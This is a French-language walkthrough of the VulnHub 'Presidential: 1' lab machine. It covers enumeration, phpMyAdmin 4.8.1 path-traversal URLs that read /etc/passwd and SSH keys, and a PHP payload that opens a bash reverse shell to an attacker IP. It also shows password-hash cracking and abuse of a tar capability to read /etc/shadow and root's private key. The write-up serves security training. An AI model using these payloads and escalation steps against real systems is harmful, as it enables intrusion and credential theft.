> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Presidential : 1 Compte rendu VulnHub

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
Compétences :

* Énumération Web
* Fuite d'informations
* Hébergement virtuel
* Énumération de sous-domaines
* Exploitation de phpMyAdmin - LFI vers RCE (exploitation des sessions PHP ID)
* Cassage de hachages (pivotage utilisateur)
* Exploitation des capacités (tar cap\_dac\_read\_search+ep) (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/31df7399d55aceb3f9914128f22f663d89739642" alt=""><figcaption></figcaption></figure>

**Découverte de l'adresse IP avec arp-scan :**

Utilisation de la commande arp-scan pour détecter l'adresse IP de la machine :

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/f8f6d20d722f0391a7d83748a05d87f4bde1ade1" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/5a0718ba26ebbe94ea092b17d2b8180b180fb2e0" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/3ef0837df2dea054cdd4160929af980861b3a5b2" alt=""><figcaption></figcaption></figure>

#### Analyse du serveur avec Wappalyzer :

Utilisation de Wappalyzer pour déterminer que le serveur utilise Apache et le langage de programmation PHP.

<figure><img src="/files/03284885a037d7e0145b1d94a35d82c9dcb4b3f5" alt=""><figcaption></figcaption></figure>

**Identifier la version cible avec WhatWeb :**/ Utilisation de WhatWeb pour analyser le site Web et identifier la version de la machine (Ubuntu) et d'Apache :

<div data-full-width="true"><figure><img src="/files/56a66b494a1891440382883c63761673507989d7" alt=""><figcaption></figcaption></figure></div>

**Configuration de l'hébergement virtuel pour la recherche de sous-domaines :**

Avant de commencer à rechercher des sous-domaines, configurez l'hébergement virtuel de la cible afin de mieux cibler les informations recherchées.

<figure><img src="/files/2fbdd6504ec4c1622c8544eea00a00e63fc24fc4" alt=""><figcaption></figcaption></figure>

**Identification potentielle d'utilisateurs sur le site :**

Explorez le site pour identifier des utilisateurs potentiels. Dans ce cas, deux utilisateurs, Kelly Bowen et Hugh Morgan, sont identifiés comme points d'intérêt.

<figure><img src="/files/597340da781ab6d6100c8c09083da5cb064b4bfb" alt=""><figcaption></figcaption></figure>

**Recherche de répertoires avec Gobuster**

Utilisez Gobuster avec une liste de répertoires pour trouver des chemins d'accès cachés. Identifiez trois répertoires, dont l'un, "cgi-bin", présente un risque potentiel de vulnérabilité à [shellshock](/fr/web-vulnerabilities/shellshock-attack.md) attaque.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/0d617e4bb1cd34676e74f10b12429a705884cd86" alt=""><figcaption></figcaption></figure>

**Recherche de fichiers avec l'extension PHP**

Effectuez une recherche de fichiers spécifique avec l'extension PHP à l'aide de Gobuster pour trouver des fichiers pertinents. Découvrez un fichier "config.php" qui, une fois interprété, ne révèle aucune information visible.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/c9f3b8ffa30b5cd3a3a0c5c2dac0f22a1c762d78" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9062c354cccbff61ce95fce37cb4971a1b939a87" alt=""><figcaption></figcaption></figure>

**Recherche de fichiers de sauvegarde (extension bak)**

Poursuivez la recherche en ciblant spécifiquement les fichiers de sauvegarde avec l'extension ".bak". Trouvez un fichier pertinent pouvant contenir des informations sensibles.

<figure><img src="/files/398ef18437836ddc8d3ca1d924cfcada3b1abd05" alt=""><figcaption></figcaption></figure>

**Obtenir les identifiants de la base de données :**

Utilisez les informations extraites du fichier de sauvegarde ".bak" pour obtenir les identifiants de la base de données.

<figure><img src="/files/6df5d18e4d0f7dce5066e684172abe3d4e10abd3" alt=""><figcaption></figcaption></figure>

**Tentative de connexion SSH :**

Essayez de vous connecter via SSH en utilisant les identifiants obtenus. Échec de la tentative en raison de l'absence d'une clé privée.

<figure><img src="/files/9066cec4c1e1fc04e5274380aa375b3e8517f2fb" alt=""><figcaption></figcaption></figure>

**Vérifier la validité de l'utilisateur "votebox" sur SSH**

En raison de l'ancienne version de SSH, vérifiez si l'utilisateur "votebox" est un utilisateur valide du système.

<figure><img src="/files/2ba0eb726c96a81d5653845d430f0b73ba846ad7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f71729d98f46488e2e7979a699700bac2fab702d" alt=""><figcaption></figcaption></figure>

**Sous-domaines découverts avec Gobuster**

Utilisez Gobuster avec une liste de sous-domaines pour explorer les sous-domaines possibles. Cependant, cette tentative ne donne pas de résultats positifs.

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/695feb67584ddd47e50579081981916ff7605e86" alt=""><figcaption></figcaption></figure>

**Recherche alternative de sous-domaines avec un dictionnaire différent :**

Répétez la recherche de sous-domaines en utilisant un dictionnaire de répertoires différent.

<figure><img src="/files/e52e317bd67fb58be856234068280de073feb75b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/be75de25651120b388c5be48ad8c85cecc52ffc4" alt=""><figcaption></figcaption></figure>

#### Identifiez-vous à partir du fichier ".bak" découvert précédemment.

<figure><img src="/files/67ba87d87141796c9a208f584d3226412c37217c" alt=""><figcaption></figcaption></figure>

**Identification d'une vulnérabilité NCE dans phpMyAdmin**

Après avoir découvert que la version de phpMyAdmin est vulnérable (4.8.1), utilisez l'outil SearchExploit pour trouver les exploits correspondants et identifiez une [RCE ](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)(exécution de code à distance) vulnérabilité.

<figure><img src="/files/61ba90b08d7f5502b6ed93bf7784e7f279d96a2d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9b6519613d48c72cae71edc392bc50a309ada3e7" alt=""><figcaption></figcaption></figure>

## Vulnérabilité RCE :

Utilisez la vulnérabilité NCE en injectant le script suivant dans l'URL pour lire le fichier "/etc/passwd" :

<figure><img src="/files/dbf2e1600e4ab5bded6838904d011d7609ae9555" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/d5949f4e1c21a5cbefd318132e58281f49ec480d" alt=""><figcaption></figcaption></figure>

**Tentative de récupération de la clé privée SSH de l'utilisateur admin**

Essayez d'accéder à la clé privée SSH de l'utilisateur "admin" à l'aide de l'URL suivante, mais rencontrez une erreur :

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/5fdbbc3a0f074701975c24c72619244b7eed8c67" alt=""><figcaption></figcaption></figure>

**Exploration des ports internes du réseau privé**

Utilisez l'URL suivante pour lister les ports internes du serveur à partir du fichier /proc/net/tcp :

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/a003a01e5c0ac32569bc030d5736e27c7306cf62" alt=""><figcaption></figcaption></figure>

Enregistrez ces ports dans un fichier de données pour une analyse ultérieure.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/7db4bccd4eb8cd1a151f5d7c2f3b6f9a08ea2388" alt=""><figcaption></figcaption></figure>

**Identification du répertoire contenant les sessions phpMyAdmin**

En explorant le script, identifiez un répertoire contenant les sessions phpMyAdmin :

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/82cfcc6bb6315f5a4c26b2807c4b0c3d60ea1902" alt=""><figcaption></figcaption></figure>

## Vulnérabilité phpMyAdmin (injection de commandes)

**Utilisation du cookie de session phpMyAdmin pour une injection de commandes**

<figure><img src="/files/816bf5c14d67768b60d142764ca7d0aa27fd92e7" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/4d73ce63c4979739a9fb09cc03ba209585456331" alt=""><figcaption></figcaption></figure>

#### Ce fichier interprète toutes les commandes de requête.

```sql
SELECT 'testing';
```

<figure><img src="/files/0126ca77e963655264a80bac31c7928493529f1e" alt=""><figcaption></figcaption></figure>

**Injection de commande SQL pour obtenir un** [**Shell inversé**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* Accès à la machine enfin obtenu :/*/*

<figure><img src="/files/ccc8f9f71d2e5c76b3d74770f8b48b814fa477a9" alt=""><figcaption></figcaption></figure>

#### Stabilisation du terminal pour l'élévation de privilèges :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **Limite d'accès à /home/admin et découverte d'un mot de passe haché :**

Voir la restriction d'accès à /home/admin, qui nécessite un accès authentifié. Dans phpMyAdmin, observez l'utilisateur "admin" avec un mot de passe haché, indiquant la nécessité de déchiffrer le mot de passe pour accéder au système de fichiers.

<figure><img src="/files/667b0a2850cedf73a50033d7373c75c124babf21" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60cfe78a89bd531d6b2b0a852be98f5d5fe3bc71" alt=""><figcaption></figcaption></figure>

## Bruteforce du mot de passe :

Créez un fichier "hash" contenant le mot de passe haché et utilisez John the Ripper pour essayer de le casser à l'aide d'une liste de mots de passe (rockyou.txt dans cet exemple) :

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**Mot de passe affiché**

```bash
john --show hash
```

<figure><img src="/files/21e0de566be6c1fb6b7159cf1dd91bcb9a30dcdc" alt=""><figcaption></figcaption></figure>

#### **Passer à l' `admin` Utilisateur**

Utilisez le mot de passe déchiffré pour l'utilisateur admin et connectez-vous au système en tant qu'administrateur

<figure><img src="/files/f3fe9ab1511598e64b74450759e160566454f16f" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges (capacités)

```bash
getcap -r / 2>/dev/null
```

Utilisez la `getcap` commande pour explorer les capacités du système. Identifiez une capacité permettant de lister tous les documents du système.

<figure><img src="/files/a5840289064b05c97bb2130f86e1f668bbf07c9e" alt=""><figcaption></figcaption></figure>

/*/* Capture du fichier /etc/shadow avec tar/*/*

Créez un dossier dans le répertoire /tmp et incluez le fichier /etc/shadow avec la commande suivante :

```bash
tarS -cvf shadow.tar /etc/shadow
```

Décompressez l'archive dans le répertoire /tmp. En tant que créateur, modifiez les droits pour voir le contenu de /etc/shadow.

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/5b3442d66dbddc1b12d52016452990a574aa91f2" alt=""><figcaption></figcaption></figure>

**Capture de la clé privée .ssh avec tar**

Capturez la clé privée .ssh de l'utilisateur root avec la commande suivante :

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/e621326ae11ffee1d634c5504b253855792f590a" alt=""><figcaption></figcaption></figure>

**Connexion SSH avec la clé privée capturée :**

Utilisez la clé privée capturée pour établir une connexion SSH à l'utilisateur root sur la machine locale.

```bash
ssh -i id_rsa root@localhost -p 2082
```

**Drapeau obtenu :)**

<figure><img src="/files/2d97f0a424fe18c9443d377a842872619a5bd828" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
